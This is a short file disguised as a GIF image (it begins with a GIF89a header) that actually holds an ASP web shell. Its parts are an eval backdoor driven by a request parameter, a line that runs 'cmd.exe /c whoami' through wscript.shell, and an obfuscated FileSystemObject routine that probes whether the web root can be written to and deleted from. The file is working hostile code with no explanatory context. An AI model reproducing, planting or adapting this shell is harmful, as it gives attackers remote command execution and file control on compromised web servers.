GIF89alovealihack<%eval request("alihack.com")%> <%On Error Resume Next Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>| <%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t") sPath=replace(Server.MapPath("\"),"/", "\") Function CheckDirIsOKWrite(DirStr) On Error Resume Next Fso.CreateTextFile(DirStr&"\temp.tmp") if Err.number<>0 then Err.Clear() response.write "" CheckDirIsOKWrite=0 else response.write "write" CheckDirIsOKWrite=1 end if End Function Function CheckDirIsOKDel(DirStr) On Error Resume Next Fso.DeleteFile(DirStr&"\temp.tmp") if Err.number<>0 then Err.Clear() response.write "" else response.write "delete" end if End Function Function WriteSpace(NunStr) for iu=0 to NunStr response.write " " next End Function IsWrite=CheckDirIsOKWrite(sPath) if IsWrite=1 then CheckDirIsOKDel(sPath) %>